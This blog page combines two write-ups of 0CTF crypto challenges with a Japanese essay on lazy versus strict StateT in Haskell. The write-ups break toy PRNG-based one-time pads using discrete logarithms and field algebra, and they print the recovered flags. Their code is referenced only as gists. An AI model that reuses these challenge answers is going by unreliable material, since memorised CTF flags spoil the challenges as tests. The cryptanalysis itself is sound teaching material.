Solution

We compute the descrete logarithm with PARI/GP.

gistc2a4481d5f18d35e913503664320a016

$ gp -q doit.gp  
x^123 + x^117 + x^116 + x^114 + x^113 + x^112 + x^110 + x^109 + x^108 + x^107 + x^104 + x^99 + x^98 + x^97 + x^95 + x^93 + x^91 + x^89 + x^87 + x^84 + x^83 + x^82 + x^81 + x^80 + x^78 + x^74 + x^69 + x^68 + x^66 + x^62 + x^57 + x^53 + x^52 + x^51 + x^45 + x^43 + x^42 + x^41 + x^38 + x^37 + x^35 + x^33 + x^32 + x^31 + x^30 + x^29 + x^28 + x^25 + x^22 + x^19 + x^18 + x^17 + x^15 + x^14 + x^13 + x^12 + x^10 + x^8 + x^5 + x^2 + 1
76716889654539547639031458229653027958

It took around ten seconds before we have the discrete logarithm.
Then, we decrypted the cipher text with a modified version of the encryption program.

gistedf58b1bf3484af727d98a7ebda023ff

$ python exploit.py
['\r\xa8\xe9\xe8J\x99\xd2M\x0fx\x8cqn\xf9\xe9\x9c', '\xc4G\xc3\xcf\x12\xc7\x16 m\xee\x92\xb9\xceY\x1d\xc0', 'r-BF)\x18b\x11 \xec\xe6\x8a\xc6NI:', 'A\xea:p\xdd\x7f\xe2\xb1\xd1\x16\xacH\xf0\x8d\xbf+', '&\xbdc\x83O\xa5\xb4\xcbu\xe3\xc6\rIg`\x92', '\x1b\x91\xdf^^c\x1e\x8e\x9eP\xc9\xd8\x03P$\x9c']
['One-Time Pad is ', 'used here. You w', "on't know that t", 'he flag is flag{']
One-Time Pad is used here. You won't know that the flag is flag{LCG1sN3ver5aFe!!}.��Y���+�]j�

Now, we have the flag, but there may be another solution which does not require to compute discrete logarithms, since our solution seems to be different from what the flag suggests.

0CTF Writeup: oneTimePad1

これは0CTFのoneTimePad1という問題のWriteupです。

Japanese Version

Task

zipファイルを開くと暗号化スクリプトoneTimePad.pyと暗号文ciphertextがある。
暗号化の仕組みはブロック暗号で\(GF(2^{256})\)上で次のように計算する。

\begin{align}
C_1 &= M_1 + R_1 \\
C_2 &= M_2 + R_2 \\
C_3 &= M_3 + R_3
\end{align}
ここで\(C_1, C_2, C_3\)が暗号文、 \(M_1, M_2, M_3\)が平文となる。
\(C_1, C_2, C_3, M_2, M_3\)は既知で\(M_1\)を復号するのが問題のようだ。

解析

もちろん、暗号化の肝は\(R_1, R_2, R_3\)という擬似乱数生成器の生成した数列にある。
擬似乱数生成器は、秘密鍵\(K\)と現在の乱数\(R_i\)から次の乱数\(R_{i+1}\)を次のように生成する。
\[
R_{i+1} = (R_{i} + K)^2
\]
今\(GF(2^{256})\)上で考えているので、\(2 = 0, X + Y = X - Y \)が成り立つことに注意すると、
\[
R_{i+1} = R_{i}^2 + K^2
\]
となる。\(C_2, C_3, M_2, M_3\)はわかっているので、\(K^2 = R_2 + R_1^2\)の右辺は計算できる。
これを\(R_1 = R_0^2 + K^2\)に代入すると
\[
R_0 = \sqrt{ R_1 + R_2 + R_1^2 }
\]
である。右辺の平方根は平方剰余というやつでPARI/GPというツールを使うと計算できる。

解法


gist8bcd0ce53f61a87c8742e697917cfae1

$ gp -q doit.gp 
52553756545437879763013576434186236591362916937163148104579268147006553551449
$ python
>>> hex(52553756545437879763013576434186236591362916937163148104579268147006553551449)[2:-1].decode('hex')
't0_B3_r4ndoM_en0Ugh_1s_nec3s5arY'

English Version

Task

There are an encryption script 'oneTimePad.py' and 'ciphertext' in the provided zip file.

The crypto system is described over \(GF(2^{256})\)
\begin{align}
C_1 &= M_1 + R_1 \\
C_2 &= M_2 + R_2 \\
C_3 &= M_3 + R_3
\end{align}
Here, \(C_1, C_2, C_3\) are cipher texts and \(M_1, M_2, M_3\) are plain texts.
We know \(C_1, C_2, C_3, M_2, M_3\), and the task of this problem is to decrypt \(C_1\).

Analysis

Of course, the clue of this crypto system is pseudo random numbers \(R_1, R_2, R_3\).
The random number generator generates the next number \(R_{i+1}\) from Secret key \(K\)
and the current number \(R_i\) in the following way:
\[
R_{i+1} = (R_{i} + K)^2
\]
We note that equations like \(2 = 0, X + Y = X - Y\) hold because the field is \(GF(2^{256})\).
Then, we have,
\[
R_{i+1} = R_{i}^2 + K^2
\]
The rhs of \(K^2 = R_2 + R_1^2\) is computable since we know \(C_2, C_3, M_2, M_3\).
By substituting it to \(R_1 = R_0^2 + K^2\), we have
\[
R_0 = \sqrt{ R_1 + R_2 + R_1^2 }
\]
The square root in its rhs is so called quadratic residue and it is computable with
tools like PARI/GP.

Solution


gist8bcd0ce53f61a87c8742e697917cfae1

$ gp -q doit.gp 
52553756545437879763013576434186236591362916937163148104579268147006553551449
$ python
>>> hex(52553756545437879763013576434186236591362916937163148104579268147006553551449)[2:-1].decode('hex')
't0_B3_r4ndoM_en0Ugh_1s_nec3s5arY'

State Monadと正格性について

今回の話題は、State MonadはStrictなものを使おうという話である。

StateT s m a

HaskellでState Monadを使う際、一番よく使うのは
transformer packageのStateT s m aだと思う。
transformers: Concrete functor and monad transformers
あるいは、そのwrapper libraryとしてmtlを使うかもしれない。
mtl: Monad classes, using functional dependencies
どちらにしろ実体は同じだ。
このStateTにはLazyなバージョンとStrictなバージョンの2種類がある。
二つともデータ型の定義は同じである。

newtype StateT s m a = StateT { runStateT :: s -> m (a, s ) }

違いはMonad (StateT s m)のインスタンス宣言である。

-- Strict
instance Monad m => Monad (StateT s m) where
    return x = StateT (\s -> return (x, s))
    StateT mv >>= f = StateT $ \s -> do
        (v,s1) <- mv s
        runStateT (f v) s1
-- Lazy
instance Monad m => Monad (StateT s m) where
    return x = StateT (\s -> return (x, s))
    StateT mv >>= f = StateT $ \s -> do
        ~(v,s1) <- mv s
        runStateT (f v) s1

Lazyの方は~(チルダ)パターンという見慣れないものが使われているが、これは概ね以下と同じだ。

    p <- mv s
    let (v,s1) = p

違いは、mv sの結果をバインドするときに、タプルのWHNFまで簡約するか、あるいは遅延させるかという点である。

正格性

ここでState MonadのExampleとして、状態を使って1からnまでの和を求めるプログラムを書いてみよう。

-- Main.hs
import Data.Functor.Identity
import Control.Monad.Trans.State.Lazy (StateT(..), get, put)
main :: IO ()
main = do
  n <- readLn
  let (_,s) = runIdentity (runStateT (sumState n) 0)
  print s

sumState :: Monad m => Int -> StateT Int m ()
sumState n = mapM_ (\i -> modify (+i)) [1..n]

modify :: Monad m => (s -> s) -> StateT s m ()
modify f = do
    v <- get
    put (f v)

しかし、このプログラムをコンパイルして実行してみると非常に遅いことがわかる。

$ ghc -O Main.hs
$ echo 10000000 | time ./Main
50000005000000
        2.27 real         1.41 user         0.72 sys

これはなぜかというと、modify fが正格でないため、Stateに(...((0 + 1) + 2) + ... + n)というthunkが積まれてしまうからである。
この現象はControl.Monad.Trans.State.LazyとControl.Monad.Trans.State.Strictの両方で発生する。
状態を正格に評価するために、modifyの定義を少し変更する。

modify f = do
    v <- get
    put $! f v

($!)は正格な関数適用演算子である。こうすることで、modify (+i)の部分が実行されるたびにStateを正格評価するように思える。
実際、この関数はControl.Monad.Trans.State.(Strict | Lazy).modfy'としてライブラリにも定義されている。

実際、Control.Monad.Trans.State.Strict.StateTではこの変更で期待通りに動く。

$ echo 10000000 | time ./Main
50000005000000
        0.02 real         0.01 user         0.00 sys

しかし、残念ながら、Control.Monad.Trans.State.Lazy.StateTでは上手くいかない。

echo 10000000 | time ./Main
50000005000000
        1.94 real         1.27 user         0.50 sys

また、奇妙なことだが、LazyなStateTでも、baseモナドをIdentityからIOに変えたりすると状態が正格に計算される。

import Control.Monad.Trans.State.Lazy (StateT(..), get, put)
main :: IO ()
main = do
  n <- readLn
  (_,s) <- runStateT (sumState n) 0
  print s
$ echo 10000000 | time ./Main 
50000005000000
        0.02 real         0.01 user         0.00 sys

謎解き

これはなぜだろうか、この謎を解くためにはmodify fがどのようにコンパイルされるかをみていく必要がある。

 modify f 
== get >>= (\v -> put $! (f v)) -- unfold "modify"
== StateT (\s -> return (s,s)) >>= (\v -> put $! (f v))  -- unfold "get"
== StateT (\s -> do  -- unfold (>>=)
            ~(a,s1) <- return (s,s)
            runStateT ((\v -> put $! (f v)) a) s1)
== StateT (\s -> do  -- beta reduction
            ~(a,s1) <- return (s,s)
            runStateT (put $! (f a)) s1)
== StateT (\s -> do -- unfold ($!) and "put"
            ~(a,s1) <- return (s,s)
            runStateT (let !v = f a in StateT (\_ -> return ((),v))) s1)
== StateT (\s -> do -- simplify
            ~(a,s1) <- return (s,s)
            (let !v = f a in return ((),v)))
== StateT (\s -> return (s,s) >>= (\p -> -- desugar do notation
                 let (a, s1) = p in
                 let !v = f a in
                 return ((),v)))
== StateT (\s -> let (a, s1) = (s,s) in -- apply monad law (left identity)
                 let !v = f a in
                 return ((),v)))
== StateT (\s -> let !v = f s in return ((),v)) -- simplify

今の所、特に問題のある部分はない。
しかし、baseモナドによっては問題が明らかになる。
その前にIdentity Monadの定義を復習しておく。

newtype Identity a = Identity { runIdentity :: a }
instance Monad Identity where
  return x = Identity x
  m >>= f = f (runIdentity a)

さて、次の項をIdentityモナド上で簡約してみよう。

(modify f) >> action :: StateT s Identity a
== StateT (\s -> let !v = f s in return ((),v)) >> action 
== StateT (\s -> let !v = f s in return ((),v)) >>= (\_ -> action) -- unfold (>>)
== StateT (\s -> do  -- unfold (>>=)
            ~(_,s1) <- let !v = f s in return ((),v)
            runStateT action s1)
== StateT (\s -> -- desugar do notation
           (let !v = f s in return ((),v)) >>= (\p ->
           let (_,s1) = p in
           runStateT action s1))
== StateT (\s -> -- unfold (>>=)
           (\p ->
           let (_,s1) = p in
           runStateT action s1) (let !v = f s in return ((),v)))
== StateT (\s -> -- beta reduction
           let (_,s1) = let !v = f s in return ((),v) in
           runStateT action s1)

さて、簡約結果を見てみると、 let !v = f s in return ((),v)の部分がさらにlet (_,s1) = ... in ...でくるまれているため、
評価が遅延されていることがわかると思う。この問題はbaseモナドがIOの場合は発生しない。
なぜなら、IO a は RealWorld -> (# RealWorld, a #)という型として評価されるわけだが、(# RealWolrd, a #)というタプルはthunkになり得ないからだ。

ちなみに、Control.Monad.Trans.State.Strictの場合は、以下のようになる。

(modify f) >> action :: StateT s Identity a
== StateT (\s -> let !v = f s in return ((),v)) >> action
== StateT (\s -> let !v = f s in return ((),v)) >>= (\_ -> action)
== StateT (\s -> do
            (_,s1) <- let !v = f s in return ((),v)
            runStateT action s1)
== StateT (\s -> 
           (let !v = f s in return ((),v)) >>= (\(_,s1) ->
           runStateT action s1))
== StateT (\s -> 
           (let !v = f s in Identity ((),v)) >>= (\(_,s1) ->
           runStateT action s1))
== StateT (\s ->
           (\(_,s1) ->
           runStateT action s1) (let !v = f s in Identity ((),v)))
== StateT (\s ->
           case (let !v = f s in Identity ((),v)) of
             (_,s1) -> runStateT action s1)
== StateT (\s ->
           case f s of
             v -> case Identity ((),v) of
               (_,s1) -> runStateT action s1)
== StateT (\s ->
           case f s of
             v -> runStateT action v)

従ってf sの評価はactionの評価より前に行われる。

結論

LazyなStateモナドでmodify'を使うべきではない。使う必要が出てきた場合にはStrictなStateモナドを使おう。

普通はStrictなものを使っておけば良いと思う。LazyなStateモナドが役に立つ場面は本当にあるのだろうか。甚だ疑問である。